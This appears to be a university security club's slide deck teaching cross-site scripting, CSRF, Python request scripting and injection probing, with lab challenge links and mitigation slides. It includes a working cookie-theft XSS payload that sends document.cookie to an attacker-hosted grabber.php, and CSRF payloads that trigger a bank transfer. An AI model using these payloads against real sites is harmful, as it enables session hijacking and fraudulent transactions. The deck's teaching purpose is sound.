SlideShare a Scribd company logo
WEB SECURITY WEEK
3
Computer Security Group
University of Texas at Dallas
Cross Site Scripting
Overview
 Exploits the trust a browser places in a
site by running code (usually JS) in
browser
 Reflected: user is tricked into running
some code
 In URL: site.com/?msg=<script>…
</script>
 Pasted into address bar
 Stored: the malicious code is stored
persistently on the compromised website
 Unfiltered comments
Payloads and Goals
 Steal cookies
 Open a hidden IFRAME
 Spam advertisements
 Redirect to another page
 Click jacking
 Many more
Example Attack
 Uses jQuery
 <script>$.get(‘www.mysite.com/grabber
.php?c=‘ + document.cookie);</script>
 A get request is made to our site, which
stores the parameter c in a log file, or
autopwns them. Whatever.
Example 1
 http://10.176.169.7/web_demo/week3/m
ain.php
Mitigation
 Developers
 Don’t allow users to post HTML
 Keep an eye out for places where attackers
could modify what other peoples’ browsers
render
 Users
 Use NoScript or similar whitelisting plugin
 Don’t click or paste a link with JavaScript in
it
Challenge
 http://10.176.169.7/web_demo/week3/challenge1/main.php
Cross Server Request
Forgery
Overview
 Similar to XSS
 Exploits trust that servers place in
browsers
 It’s very difficult for a web server to
know whether a request your computer
sent it was sent with your knowledge or
approval
 Different than XSS, but XSS is often an
attack vector for CSRF
Example Attack
 Images
<img src=“bank.com/transfer.php?
to=me&amount=1000000” />
 XSS
$.post(‘bank.com/transfer.php’, {to: ‘me’, amount:
1000000});
Mitigation
 Only trust requests from your domain
 Use CSRF protection tokens – included in
many web frameworks
 Use the appropriate HTTP request, don’t
use GET for something that modifies
data
 Not much to do as a user
Python for Web
Python Web Scripts
 Python is a powerful scripting language.
 Some web problems are very repetitious.
 Using libraries urllib and urllib2.
Example Code
 import urllib
 import urllib2
 url = 'http://www.someserver.com/cgi-bin/register.cgi'
 values = {'name' : 'Michael Foord',
 'location' : 'Northampton',
 'language' : 'Python' }
 data = urllib.urlencode(values)
 req = urllib2.Request(url, data)
 response = urllib2.urlopen(req)
 the_page = response.read()
Example 2
 http://10.176.169.7/web_demo/week3/gue
ss.php
Mitigation
 Captchas
 Lockouts after several attempts
Challenge 2
 http://10.176.169.7/web_demo/week3/challenge2/guess.ph
p
General Tips
Look at Requests!
 Use TamperData, Firebug, Chrome
Developer Tools, Live HTTP Headers,
BurpSuite, etc.
 The idea is to find things we can alter
 The goal is to invalidate trust that the
developer put in us
Inject Everything
 If your data goes into a database query,
try SQL injection
 If you think it’s piping your input into a
program, try command injection via &&
and the like
 If it looks like it’s rendering HTML, try
some JavaScript
Questions?

More Related Content

Cross Site Attacks